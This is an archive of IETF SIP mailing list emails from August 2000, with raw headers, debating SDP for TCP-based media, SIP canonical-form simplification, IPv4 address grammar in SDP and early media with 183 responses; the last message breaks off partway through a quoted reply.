ESMTP id BB20044339 for ; Fri, 18 Aug 2000 10:57:12 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id KAA08331; Fri, 18 Aug 2000 10:58:50 -0400 (EDT) Message-ID: <399D5035.62C6BEBD@dynamicsoft.com> Date: Fri, 18 Aug 2000 11:03:17 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Yon Cc: "Fairlie-Cuninghame, Robert" , "'Christian Huitema'" , sip@lists.bell-labs.com Subject: Re: [SIP] SIP, SDP, and TCP-based media transport References: <4.3.2.7.2.20000816091147.00d0b7a0@webhost.tactical-sw.com> <4.3.2.7.2.20000817101152.00d6ce70@webhost.tactical-sw.com> <4.3.2.7.2.20000818083432.00d7d1f0@webhost.tactical-sw.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit David Yon wrote: > > And like I said, firewalls are but one reason to allow SDP to describe > TCP-based services that accept on a fixed port (interoperability with > legacy TCP-based protocols comes to mind). It just seems like allowing > (ALLOWING, *not* requiring) the initiator of the TCP connection to announce > the source port is a potentially useful addition that isn't in the category > of undue complexity in the protocol. So long as its not mandatory, I can live with that. So, is the proposal made previously regarding indication of source port: > In any case, these are two different pieces of information, and as such, > should be conveyed in separate places. The m line is idea for the listen > port. In the case of active connections, I would propose this ALWAYS be > 9. In this case, should a foolish firewall open up a hole to port 9, its > not a big deal. If active is in use, the a line could contain the source > port that will be used: > > a=direction:active 9384 OK? If so, lets declare this done, get an I-D written, and move forward here. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 11:07:22 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA29926 for ; Fri, 18 Aug 2000 11:07:21 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 81290443BB; Fri, 18 Aug 2000 11:01:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail-gw.NetergyNet.COM (mail-gw.8x8.com [192.84.19.131]) by lists.bell-labs.com (Postfix) with ESMTP id 002D544339 for ; Fri, 18 Aug 2000 10:46:01 -0400 (EDT) Received: from mail.8x8.COM (mail.8x8.com [192.84.19.130]) by mail-gw.NetergyNet.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA00145; Fri, 18 Aug 2000 07:46:00 -0700 (PDT) Received: from 8x8.com ([207.82.37.67]) by mail.8x8.COM (8.9.1b+Sun/8.9.1) with ESMTP id HAA09220; Fri, 18 Aug 2000 07:46:00 -0700 (PDT) Message-ID: <399D4B57.8C0C8172@8x8.com> Date: Fri, 18 Aug 2000 07:42:31 -0700 From: Marc Petit-Huguenin Organization: Netergy Networks Inc. X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i686) X-Accept-Language: fr-FR, fr, en MIME-Version: 1.0 To: Bertil Engelholm Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Simplify SIP References: <399CFA30.67B6D80B@uab.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I am not sure to agree with this. SIP is not so difficult to parse and adding such restrictions can have a negative impact on my personal SIP protocol analyzer (The one I have in my head :-). Text-based protocols (HTTP, MGCP, Megaco, SMTP, POP3...) have this characteristic that they can be easily used with language like Perl, Java and even directly with telnet. I think this restrictions look like a step in direction of a binary protocol. Just my opinion. Bertil Engelholm wrote: > > Hello, > > we would like to start a discussion about the possibility of making > SIP more simple than today. We realize that it's a little late to > make big changes in the protocol at this stage but the change we > propose seems quite small. This proposal is our personal proposal > and is not in any way reflecting the Ericsson point of view > (not yet anyway). > > We feel that SIP today is unnecessary complex which costs time > during development and testing of a SIP parser. It also cost > execution time which we can see no reason for. Maybe there are > historic reasons why SIP is specified as it is but since the > specification does not explain this (which it shouldn't) we > can't see the reason for certain constructions. We understand > that HTTP has been a great influence when specifying SIP but > we have not heard any explanation why. > > In general we think SIP allows too many optional ways of doing things. > Each of these options cost development time, testing time and > execution time in every SIP enabled product. And since some SIP > UA most likely is small devices with limited processor power, memory > size etc. it must be interesting to reduce the amount of code > needed to parse the SIP messages. > Every option also adds the possibility of introducing bugs which > we noticed during the last bakeoff. So by making SIP more > simple we think it will be easier to develop SIP enabled products > with better quality in shorter time. This would at the end help > spreading SIP even faster than today which we hope everyone is > interested in doing (at least in this mail group). > > So what we basically suggest is that only the canonical representation > should be used. All other formats should be depricated in the same > way as the different ways of terminating the SIP-headers was depricated > some time ago. In this way SIP will still be backwards-compatible > since everyone has to be able to receive the canonical representation. > It will just take some time for everyone to adapt their code so > they only send out the canonical representation. After a while it's > possible to make a new version of SIP that only allows the canonical > form. Then it's up to everyone to decide if they want to support > both SIP 2.0 as well as the new version or only the new version. > > According to the SIP specification (chapter 13.2 in rfc2543bis-01) > the canonical representation restricts the SIP syntax in this way : > > * No short form header fields; > * Header field names are capitalized as shown in the rfc; > * No white space between the header name and the colon; > * A single space after the colon; > * Line termination with a CRLF; > * No line folding; > * No comma separated lists of header values; each must appear as a > separate header; > * Only a single SP between tokens, between tokens and quoted strings, > and between quoted strings; no SP after last token or quoted string; > * No LWS between tokens and separators, except as described above for > after the colon in header fields; > * The To and From header fields always include the < and > delimiters > even if the display-name is empty. > > We can't see any problem in any of these restrictions. Some of them > only restricts how many white space characters you are allowed to use > so those restrictions can't be any problem to introduce. Why send extra > spaces that only adds unnecessary bytes to the messages ? > > To disallow the compact form of the headers might be a problem but > since using the compact form only saves about 70-80 bytes a UA still > have to be able to handle the case where the message don't fit in > one MTU. If this is a real problem why not define a compact form > for _all_ headers in SIP and only use that form ? > > To capitalize the header field names exactly as they are specified > in the RFC does not seem to be a problem either. Why should it be > possible to write e.g. Content-Length as cOnTeNt-lEnGtH ? > > Line folding is also something we can't see any reason for. Since > all UA/Servers have to be able to _receive_ any length of a header > line why can't they _send_ every header in one line ? > > To allow a comma separated list in the Via and Record-Route etc. > is one of the optional things that seems unnecessary. Especially > since it creates longer lines which means you might need line folding. > Since all UA that intend to handle Authentication have to use the > canonical representation anyway why not always use it ? > > We realize that it's a little bit late in the SIP development to > make changes in the protocol but we feel that these changes are > not very big since it's already specified in the RFC. > > If everyone is happy with todays specification we can live with > it too since we have already implemented it. But we feel that it > would help SIP to spread faster in the future by making it as > simple as possible to parse. > > So what do you think. Is this proposal something you think > is worth introducing or is it better to keep things as it is ? > > -- > Bertil Engelholm Bertil.Engelholm@uab.ericsson.se > Eric Turesson Eric.Turesson@uab.ericsson.se > -- Marc Petit-Huguenin Home: mailto:petithug@cyberservices.com Work: mailto:petithug@8x8.com "So much to do and so little time" The Joker - Batman (The Movie) _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 11:10:48 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA00030 for ; Fri, 18 Aug 2000 11:10:48 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 18582443C4; Fri, 18 Aug 2000 11:01:42 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 091174438C for ; Fri, 18 Aug 2000 11:01:39 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA08422; Fri, 18 Aug 2000 11:03:16 -0400 (EDT) Message-ID: <399D513F.D53DCED5@dynamicsoft.com> Date: Fri, 18 Aug 2000 11:07:43 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Yon Cc: "Fairlie-Cuninghame, Robert" , "'Christian Huitema'" , sip@lists.bell-labs.com Subject: Re: [SIP] SIP, SDP, and TCP-based media transport References: <4.3.2.7.2.20000817104314.00d969e0@webhost.tactical-sw.com> <4.3.2.7.2.20000818084420.00d47740@webhost.tactical-sw.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit David Yon wrote: > > At 11:02 PM 8/17/00 -0400, Jonathan Rosenberg wrote: > > >I think it could work in several ways. You could have both directions of > >RTP over the same TCP connection, along with the RTCP, or over two > >connections. > > Does anyone know of any legacy systems that work this way? Well, as there is no way to even indicate RTP over TCP in SDP, we are treading new ground here. > If there isn't > RTP/TCP code that already picks a strategy, then it seems like this should > be nailed down to one approach or the other. If we're going to insist that > implementors have the flexibility to choose (far be it for me to demand > less flexibility :-) ) then at the very least there must be a way for SDP > to describe the approach being used. The idea was it doesn't really matter. If I have two connections open, I simply listen on both and take whatever I receive and process it as if it was all received on one connection. The timestamps, SSRC, sequence numbers and what have you give me everything I need to process the RTP and RTCP. > > I can think of at least three ways to arrange the streams: > > a) Each media stream has two TCP connections: one to send the media using > RTP/AVP packets, and one to return RTCP packets. A bidirectional media > session would therefore consist of four (!) TCP connections, each being > used unidirectionally. Yuck. > > b) Each media stream has a single TCP connection: one side of the > connection sends the media using RTP/AVP packets, the other side returns > the RTCP packets. A bidirectional media session would therefore consist of > two TCP connections, each connection mapping to one media direction. If there must be two connections, this seems the most likely case. I don't feel terribly strongly here, but as I argue above, it seems like you can send anything on any of the open connections; so long as you listen on all it should work fine. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 11:13:21 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA00085 for ; Fri, 18 Aug 2000 11:13:21 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BFE33443C9; Fri, 18 Aug 2000 11:05:09 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 43B0A4438C for ; Fri, 18 Aug 2000 11:05:05 -0400 (EDT) Received: from ubiquity.net by ubiquity.net with ESMTP (8.8.8+Sun/25-eef) id QAA03609; Fri, 18 Aug 2000 16:02:51 +0100 (BST) Message-ID: <399D501A.40758F55@ubiquity.net> Date: Fri, 18 Aug 2000 16:02:50 +0100 From: James Undery X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: manu@sasi.com, sip@lists.bell-labs.com, confctrl@isi.edu, "Handley, Mark" Subject: Re: [SIP] ipv4 addresses in SDP References: <399D4F32.5A9F79A0@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg wrote: > manu@sasi.com wrote: > > > > On Thu, 17 Aug 2000, Jonathan Rosenberg wrote: > > > >The BNF is correct. You need to examine complete production for > > >decimal-uchar: > > > > > >> decimal-uchar = DIGIT > > >> | POS-DIGIT DIGIT > > >> | ("1" 2*(DIGIT)) > > >> | ("2" ("0"|"1"|"2"|"3"|"4") DIGIT) > > >> | ("2" "5" ("0"|"1"|"2"|"3"|"4"|"5")) > > > > > > Oops, you're right. This BNF is wrong; it should be: > > ... > | ("1" 2DIGIT) > ... Shouldn't this be | ("1" 2*2(DIGIT)) James Undery _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 11:18:19 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA00196 for ; Fri, 18 Aug 2000 11:18:19 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C80C14433E; Fri, 18 Aug 2000 11:17:34 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id D258044339 for ; Fri, 18 Aug 2000 11:17:30 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA08597; Fri, 18 Aug 2000 11:17:26 -0400 (EDT) Message-ID: <399D5491.757540FA@dynamicsoft.com> Date: Fri, 18 Aug 2000 11:21:53 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: James Undery Cc: manu@sasi.com, sip@lists.bell-labs.com, confctrl@isi.edu, "Handley, Mark" Subject: Re: [SIP] ipv4 addresses in SDP References: <399D4F32.5A9F79A0@dynamicsoft.com> <399D501A.40758F55@ubiquity.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit James Undery wrote: > > > Oops, you're right. This BNF is wrong; it should be: > > > > ... > > | ("1" 2DIGIT) > > ... > > Shouldn't this be | ("1" 2*2(DIGIT)) According to rfc2234: > Specific Repetition nRule > > A rule of the form: > > element > > is equivalent to > > *element > > That is, exactly occurrences of . Thus 2DIGIT is a > 2-digit number, and 3ALPHA is a string of three alphabetic > characters. Thus, Nelement and N*Nelement are the same. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 11:29:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA00456 for ; Fri, 18 Aug 2000 11:29:55 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8E3DE44395; Fri, 18 Aug 2000 11:21:58 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bounty.cisco.com (bounty.cisco.com [161.44.3.204]) by lists.bell-labs.com (Postfix) with ESMTP id 52CE444339 for ; Fri, 18 Aug 2000 11:21:55 -0400 (EDT) Received: from cisco.com (rtp-xdm1.cisco.com [161.44.3.80]) by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id LAA21951; Fri, 18 Aug 2000 11:21:21 -0400 (EDT) Message-ID: <399D545C.BE69F54C@cisco.com> Date: Fri, 18 Aug 2000 11:21:00 -0400 From: Manoj Bhatia Organization: Cisco Systems, RTP, NC, USA. X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Brett Tate Cc: Anders Kristensen , Jonathan Rosenberg , sip@lists.bell-labs.com Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? References: <4.3.0.20000816121838.02785e50@mail.sophia.8x8.com> <399B8269.FBCABDC6@dynamicsoft.com> <399C0021.6C9B8C63@dynamicsoft.com> <0c9201c00878$f061e8a0$3202a8c0@broadsoft.com> Content-Type: multipart/alternative; boundary="------------97E8939539BD3C9F06ED3201" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --------------97E8939539BD3C9F06ED3201 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I would strongly debate against changing the existing semantics of 18x messages. We have discussed 18x too much and had arrived on this semantics of 183 . The 183 draft is clear on what needs to be done with the response and what does an SDP mean in 183. The original concept of 180 (with or without SDP) and 183 (with SDP always) works fine for all the scenarios today. For a UAS willing to feed any ringback /early media or announcements, the choice of 183 with SDP is there. These messages were thought about carefully and they mapped to ALERTING and PROGRESS events from PSTN world. Any change in semantics like using a generic 200 OK (As suggested in option 3) for all events then using SIP headers to decide what to do might be an overkill. Think about the SIP drafts which are already under review based on this logic. I still have concerns about : 1) Why a need to distinguish a remote ringback case from a remote media ? 2) If the caller wishes to change the media before the call is established, the option 2 of sending re-INVITE is the most logical way to do. Agreed, that it is a pain; but so is everything down the lane when QoS/PRACK/COMET/ 3pcc/ INVITE with DELAYED media et a. Comments ? thanks -manoj Brett Tate wrote: > ----- Original Message ----- > From: Anders Kristensen > To: Jonathan Rosenberg > Cc: Jean-Hugues ROBERT ; > Sent: Thursday, August 17, 2000 11:09 AM > Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? > > > These are the kind of anomalies that are to be expected when nested > > calls are introduced. I believe when we had this discussion last time it > > all got down to billing eventually. I guess most people would agree that > > (ideally at least) the signaling protocol shouldn't depend on billing. > > Option 3 seems much preferable to me - avoid doing early media and set > > up legs properly. Option 2 is just an abomination. > > I agree that option 2 adds too much complexity to SIP. > > However I think that early media is very useful for ip-telephony; > thus I would hate to see option 3 get adopted. I just feel that > early media needs to be more explicitly defined; > please see "Remote ringback" thread. > > I think that if the caller needs to change SDP, > the caller needs to wait until after the call is > answered before sending a message with the new SDP. > > Unless considered a violation by the Transfer draft, > the following is an overkill strange possibility. > The caller can REFER the called party back to caller and > provide the new SDP in the 200rsp, and CANCEL the > original INVITE before the called party answers. When > the original called party answers, the SDP is passed in > the ACK. > > > > > Anders > > > > Jonathan Rosenberg wrote: > > > > > > This is a really good issue. Thanks for bringing it up. > > > > > > Seems like there are really just three possibilities: > > > > > > 1. punt this problem; you can't change the parameters before the call is > > > setup > > > 2. allow reinvites before the 200 OK to change the parameters > > > 3. don't allow early media - send a 200 OK for this instead > > > > > > None of these are ideal. (2) worries me, as it introduces additional > > > complexity which I fear will have interactions with other things. (3) is > > > somewhat appealing, allowing us to return to the simpler model SIP > > > orginally had. However, people claimed this had nasty interactions with > > > billing systems and PSTN interworking. I wonder if we can't revisit this > > > and see if those issues could be resolved some other way? > > > > > > -Jonathan R. > > > > > > Jean-Hugues ROBERT wrote: > > > > > > > > Hi, > > > > > > > > Short form: In the presence of Early Media, prior to receiving 200 OK, > how > > > > can a Caller tell a Callee to send media according to a *new* SDP ? Or > "How > > > > can I put a call on hold when I hear a remotely generated ringback > tone ?" > > > > > > > > Much longer form: > > > > > > > > It is generaly agreed that making Media and Signaling distinct is a > good > > > > thing. Amoung other benefit it enables decomposed architectures and > more > > > > generaly support the locality of concern principle. > > > > > > > > A prime example of this distinction is SDP usage in SIP. SIP is > basically > > > > concerned by Signaling whereas SDP is about Media. > > > > > > > > Signaling is mainly about setting up and tearing down communications. > Media > > > > is mainly about payload formats and destinations. > > > > > > > > It is my understanding that, prior to 183 Session Progress, Media data > > > > started to flow only after INVITE's 200 OK final response was received > or > > > > acknowledged (depending on side). > > > > > > > > Afterward, changes impacting Media (changes in SDPs) occured at any > time > > > > using re-INVITE. Callee could ask Caller "Please now handle Media > according > > > > to this new SDP". Caller could do the same. This was fine. > > > > > > > > However, since 183 Provisionnal response was introduced, as well as > other > > > > new occasions to change SDPs during call setup, Media can start to > flow > > > > well before 200 OK, or even in the total absence of 200 OK. > > > > > > > > This may introduce an issue regarding control of Media, during the > setup phase: > > > > Callee can still ask Caller "Please now handle Media according > to this > > > > *new* SDP", simply sending a new 183. However I fear that Caller > *cannot* > > > > ask Callee to change Media any more. > > > > > > > > To be fully accurate, it seems that Caller could still ask Callee to > change > > > > Media, if SDP is allowed in PRACK, but only in response to Callee > doing it > > > > first. Is SDP legal in PRACK's ack message ? > > > > > > > > So my question is: "In the presence of Early Media, how can a Caller > ask a > > > > Callee to handle Media according to a new SDP when Caller's INVITE > > > > transaction is still not completed ?". > > > > > > > > One potential solution could be to allow re-INVITE while the "main" > INVITE > > > > is still not completed. It is illegal today. This would introduce > > > > "nested-transaction", but I guess that (PR w/SDP + PRACK) is already a > form > > > > of nested transaction, isn't it ? > > > > > > > > Another solution, probably simplier, would be to enable 183 "both > ways": > > > > The Caller would have the rigth to send it to the Callee, potentially > only > > > > in the presence of Early Media. But that seems weird, because it is a > > > > reponse without a question. > > > > > > > > If you are guessing "why the hell does this matter ?", please think of > > > > potential restrictions if Media cannot change while call is beeing > setted up. > > > > > > > > One example related to mobility (probably not 100% relevant, not a > thread > > > > to SIP for Mobility): > > > > Lets say I have a decomposed cheap wireless IP phone: > > > > - The expensive UA has a fixed IP address and a full featured > SIP stack > > > > with a fancy Java user application, it handles multiple phones. > > > > - The cheap phones have no fixed IP addresses, a very ligth > > > > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to interact > with > > > > the UA. > > > > Whenever the phone's IP address changes, the UA will change the Media > of > > > > the involved SIP calls, if any. > > > > > > > > Now the issue: What if the phone moves while receiving Early Media > (say > > > > remote ringback tone) ? UA need to tell the Callee about the Calling > > > > phone's new IP address. How ? > > > > > > > > Other, simplier, issues: How do I put a call on hold when I am > listening to > > > > some network generated annoucement ? How can an assistant, dialing on > > > > behalf of the boss, transfer the ringing call to the boss when > ringback > > > > tone is generated remotely ? > > > > > > > > Any previous art in solving this issue (if it is actually an issue) ? > > > > Is there a similar issue in H.323 (Early H.245 related I guess) or was > it > > > > solved ? > > > > > > > > BTW: A *radical* solution would be to avoid 1xx responses that > initiate > > > > Early Media and have a 200 OK as soon as media is there (with probably > some > > > > hints that the call/session is not "fully" established). Some yet to > define > > > > "INFO Session Progress" could later on indicate how the call is > > > > progressing. This has the merit of beeing compatible with existing > > > > implementations. > > > > > > > > Jean-Hugues Robert > > > > > -------------------------------------------------------------------------- > - > > > > "Fix Bugs First" > > > > Sophia General Manager. > > > > mailto:jhr@netergynet.com - We serve providers - "Think > globally. > > > > http://www.netergynet.com - Hosted PBX solutions - Act > locally." > > > > > > > > _______________________________________________ > > > > SIP mailing list > > > > SIP@lists.bell-labs.com > > > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > > > -- > > > Jonathan D. Rosenberg 72 Eagle Rock Ave. > > > Chief Scientist First Floor > > > dynamicsoft East Hanover, NJ 07936 > > > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > > > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > > > http://www.dynamicsoft.com > > > > > > _______________________________________________ > > > SIP mailing list > > > SIP@lists.bell-labs.com > > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Manoj Bhatia | | | manojb@cisco.com | :|: :|: 7025 Kit Creek Road, RTP, NC - 27709 | :|||||: :|||||: Ph: 919-392-3873 IP: 919-991-5714 | C i s c o S y s t e m s --------------97E8939539BD3C9F06ED3201 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit  
I would strongly debate against changing the existing semantics of
18x messages. We have discussed 18x too much and had arrived on this
semantics of 183 . The 183 draft is clear on what needs to be done with
the response and what does an SDP mean in 183.

The original concept of 180 (with or without SDP) and 183 (with SDP always)
works fine for all the scenarios today.

For a UAS willing to feed any ringback /early media or announcements, the choice of
183 with SDP is there.
These messages were thought about carefully and they mapped to ALERTING and
PROGRESS events from PSTN world. Any change in semantics like using a generic
200 OK (As suggested in option 3) for all events then using SIP headers to decide
what to do might be an overkill.
Think about the SIP drafts which are already under review based on this logic.

I still have concerns about :
1) Why a need to distinguish a remote ringback case from a remote media ?
2) If  the caller wishes to change the media before the call is established,
the option 2 of sending re-INVITE is the most logical way to do.
Agreed, that it is a pain; but so is everything down the lane when QoS/PRACK/COMET/
3pcc/ INVITE with DELAYED media et a.
 

Comments ?

thanks
-manoj

Brett Tate wrote:

----- Original Message -----
From: Anders Kristensen <akristensen@dynamicsoft.com>
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: Jean-Hugues ROBERT <jhr@8x8.com>; <sip@lists.bell-labs.com>
Sent: Thursday, August 17, 2000 11:09 AM
Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ?

> These are the kind of anomalies that are to be expected when nested
> calls are introduced. I believe when we had this discussion last time it
> all got down to billing eventually. I guess most people would agree that
> (ideally at least) the signaling protocol shouldn't depend on billing.
> Option 3 seems much preferable to me - avoid doing early media and set
> up legs properly. Option 2 is just an abomination.

I agree that option 2 adds too much complexity to SIP.

However I think that early media is very useful for ip-telephony;
thus I would hate to see option 3 get adopted.  I just feel that
early media needs to be more explicitly defined;
please see "Remote ringback" thread.

I think that if the caller needs to change SDP,
the caller needs to wait until after the call is
answered before sending a message with the new SDP.

Unless considered a violation by the Transfer draft,
the following is an overkill strange possibility.
The caller can REFER the called party back to caller and
provide the new SDP in the 200rsp, and CANCEL the
original INVITE before the called party answers.  When
the original called party answers, the SDP is passed in
the ACK.

>
> Anders
>
> Jonathan Rosenberg wrote:
> >
> > This is a really good issue. Thanks for bringing it up.
> >
> > Seems like there are really just three possibilities:
> >
> > 1. punt this problem; you can't change the parameters before the call is
> > setup
> > 2. allow reinvites before the 200 OK to change the parameters
> > 3. don't allow early media - send a 200 OK for this instead
> >
> > None of these are ideal. (2) worries me, as it introduces additional
> > complexity which I fear will have interactions with other things. (3) is
> > somewhat appealing, allowing us to return to the simpler model SIP
> > orginally had. However, people claimed this had nasty interactions with
> > billing systems and PSTN interworking. I wonder if we can't revisit this
> > and see if those issues could be resolved some other way?
> >
> > -Jonathan R.
> >
> > Jean-Hugues ROBERT wrote:
> > >
> > > Hi,
> > >
> > > Short form: In the presence of Early Media, prior to receiving 200 OK,
how
> > > can a Caller tell a Callee to send media according to a *new* SDP ? Or
"How
> > > can I put a call on hold when I hear a remotely generated ringback
tone ?"
> > >
> > > Much longer form:
> > >
> > > It is generaly agreed that making Media and Signaling distinct is a
good
> > > thing. Amoung other benefit it enables decomposed architectures and
more
> > > generaly support the locality of concern principle.
> > >
> > > A prime example of this distinction is SDP usage in SIP. SIP is
basically
> > > concerned by Signaling whereas SDP is about Media.
> > >
> > > Signaling is mainly about setting up and tearing down communications.
Media
> > > is mainly about payload formats and destinations.
> > >
> > > It is my understanding that, prior to 183 Session Progress, Media data
> > > started to flow only after INVITE's 200 OK final response was received
or
> > > acknowledged (depending on side).
> > >
> > > Afterward, changes impacting Media (changes in SDPs) occured at any
time
> > > using re-INVITE. Callee could ask Caller "Please now handle Media
according
> > > to this new SDP". Caller could do the same. This was fine.
> > >
> > > However, since 183 Provisionnal response was introduced, as well as
other
> > > new occasions to change SDPs during call setup, Media can start to
flow
> > > well before 200 OK, or even in the total absence of 200 OK.
> > >
> > > This may introduce an issue regarding control of Media, during the
setup phase:
> > >         Callee can still ask Caller "Please now handle Media according
to this
> > > *new* SDP", simply sending a new 183. However I fear that Caller
*cannot*
> > > ask Callee to change Media any more.
> > >
> > > To be fully accurate, it seems that Caller could still ask Callee to
change
> > > Media, if SDP is allowed in PRACK, but only in response to Callee
doing it
> > > first. Is SDP legal in PRACK's ack message ?
> > >
> > > So my question is: "In the presence of Early Media, how can a Caller
ask a
> > > Callee to handle Media according to a new SDP when Caller's INVITE
> > > transaction is still not completed ?".
> > >
> > > One potential solution could be to allow re-INVITE while the "main"
INVITE
> > > is still not completed. It is illegal today. This would introduce
